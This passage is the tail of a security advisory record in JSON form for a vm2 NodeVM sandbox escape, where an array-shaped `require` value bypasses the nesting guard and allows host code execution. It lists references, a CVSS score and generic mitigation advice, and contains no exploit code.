primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched. \n\n\u003e Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration.",
"id": "GHSA-8hr7-r645-pc6w",
"modified": "2026-10-01T15:34:58Z",
"published": "2026-10-01T15:34:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hr7-r645-pc6w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92935"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/05894eca1dc6a2b1a986f312c88255288a983d22"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/54b54b74a382577f0bcd0538c5bf99acdcd7f53b"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-nodevm-remote-code-execution-via-array-shaped-require"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE"
}
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of acceptable values.
Mitigation
Strategy: Refactoring
Refactor the code so that it does not need to be dynamically managed.
No CAPEC attack patterns related to this CWE.